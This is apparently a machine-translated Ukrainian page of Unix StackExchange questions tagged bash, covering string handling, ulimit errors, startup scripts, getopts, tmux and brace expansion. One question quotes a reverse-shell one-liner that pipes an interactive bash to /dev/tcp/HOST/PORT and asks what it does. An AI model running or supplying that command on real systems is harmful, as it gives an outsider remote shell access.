Запитання з тегом «bash»

Питання, характерні для Bourne Again SHell від GNU, на відміну від інших оболонок Bourne / POSIX. Для питань щодо оболонок Unix взагалі використовуйте тег / shell.

5
Як використовувати скрипт bash для читання вмісту бінарних файлів?
Я хочу прочитати символ, а потім фіксовану довжину рядка (рядок не закінчується нулем у файлі, а його довжина задається попереднім символом). Як я можу це зробити в баш-скрипті? Як визначити змінну рядка, щоб я міг виконати деяку післяобробку на ній?

5
Індексуйте рядок у bash
Як я можу посилатись на рядок за індексом у sh / bash? Тобто, в основному, розбиваючи його. Я намагаюся позбавити 5 символів імені файлу. Усі імена мають структуру: name_nr_code. Я намагаюся видалити 5 буквено-цифрових кодів. name_nr_завжди 10 символів. Чи є така річ, як; for i in * ; do mv …
15 bash  shell  string 


1
Як правильно записати історію, щоб правильно відображатись у кількох рядках
Припустимо, я ввів функцію в підказці bash, в декількох рядках, а не видавлюючи її крапкою з комою: $ function blah { echo blah } $ history -1 12690 function blah {\necho blah\n} Як зробити це для відображення реальних символів нового рядка замість '\ n'?

3
Лістинг із `ls` та регулярним виразом
Як я можу перерахувати файли з ім'ям файлу, що закінчується останнім символом та .txtрозширенням? Я спробував, ls *+([[:digit:]]).txtале це правда для abc12.txtі abc2.txt. Але мені потрібно лише дістати abc2.txt. Як я можу це зробити? Чи є якась така форма, :digit:яка це зробить?
15 bash  wildcards 

2
ulimit PICKLE: "Операція не дозволена" та "Команда не знайдена"
Я намагаюся збільшити максимальну кількість відкритих файлів для поточного користувача > ulimit -n 1024 Я намагаюсь збільшити та провалитись так > ulimit -n 4096 bash: ulimit: open files: cannot modify limit: Operation not permitted Тож я роблю природне і намагаюся запустити з тимчасового дозволу, але не вдається > sudo ulimit …
15 bash  fedora  sudo  limit 

1
Дізнайтеся, які сценарії виконуються bash при запуску
Після запуску bash-терміналу я помітив, що змінна PATH містить повторювані записи. Мій термінал запускає оболонку входу , тому ~/.bash_profileотримується джерело, а потім - ~/.profileі ~/.bashrc. Тільки ~/.profileя створюю записи, які дублюються. Щоб бути педантичним, це такий порядок, у якому слід створювати файли, які ПОТРЕБИТЬСЯ: Sourced /etc/profile Sourced /etc/bash.bashrc Sourced .bash_profile …
15 bash  profile 

4
Кольоровий вихід?
Чи можна отримати кольоровий вихід із команди find ? Тобто на шляху кожного знайденого елемента каталоги блакитного кольору, виконавчі скрипти - зелені, тощо? Я використовую версію 4.4.2 GNU Findutils . Редагувати - Щоб уточнити, кожен результат буде виділено таким чином: ./path/to/file.sh ^ ^ ^ | | L green blue (якщо, …
15 bash  find  colors 

3
Bash кидає помилку, рядок 8: $ 1: незв'язана змінна
Я намагаюся навчитися використовувати getopts, щоб я міг мати сценарії з проаналізованим входом (хоча я думаю, що getopts може бути кращим). Я намагаюся просто написати простий скрипт, щоб повернути відсотки використання розділів. Проблема полягає в тому, що одна з моїх функцій bash не схожа на те, що я посилаюсь $1як …

1
Значення bash -i> & / dev / tcp / HOST / PORT 0> & 1?
я намагався bash -i >& /dev/tcp/HOST/PORT 0>&1 але це, здається, не працює за брандмауерами. Що насправді робить цей код, які порти пересилаються і чи може він працювати за брандмауерами?

1
Як я автоматично відповідаю y у скрипті bash?
Я хочу видалити якусь програму через скрипт bash. Після запуску команди термінал запитує, чи я впевнений, що хочу його видалити. Тому мені потрібно відповісти y. Я хочу зробити це автоматично і відповісти yпісля затримки на 10 секунд. Я зробив цей приклад, але він не працює - #!/usr/bin /opt/MNG/MNGVIEWHP/fe/uninstall sleep 10 …
15 bash 

7
цикл bash через список рядків
Чи можливо форматувати цей зразок: for i in string1 string2 stringN do echo $i done до чогось подібного до цього: for i in string1 string2 stringN do echo $i done EDIT: Вибачте за плутанину, не зрозумів, що існують різні способи виконання скрипту - sh <scriptname>vs, bash <scriptname>а також ця річ, …

2
Встановіть активний колір вкладки tmux
Чи можливо змінити фон активної (поточної) вкладки tmux? Я використовую tmux 1.9на Ubuntu 15.04. $ tmux -V tmux 1.9 Я намагався зробити: set-option -g pane-active-border-fg red Але результат не змінився: Я очікував, що 3-bash*матиме червоний фон.

1
Чому мені потрібно вставити 12 символів, щоб очистити цей командний рядок bash?
Я відкриваю термінал xterm (80 стовпців х 24 рядки), потім запускаю $ bash --norc --noprofile, а потім $ ttyотримую ім'я файлу терміналу: вихід є /dev/pts/9. З іншого терміналу запускаю: $ printf foo >/dev/pts/9 fooдрукується в командному рядку оболонки в першому терміналі. Якщо натиснути C-uдля запуску unix-line-discard(назва функції, заданої $ bind …

3
Чому не systemctl \ {перезапуск, статус} \ sshd \; робота?
Вихід з вищевказаної команди при передачі через ехо: # echo systemctl\ {restart,status}\ sshd\; systemctl restart sshd; systemctl status sshd; Навіть якщо я вставити висновок в термінал, команда працює. Але коли я намагаюся безпосередньо запустити команду, я отримую: # systemctl\ {restart,status}\ sshd\; bash: systemctl restart sshd;: command not found... У мене …

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.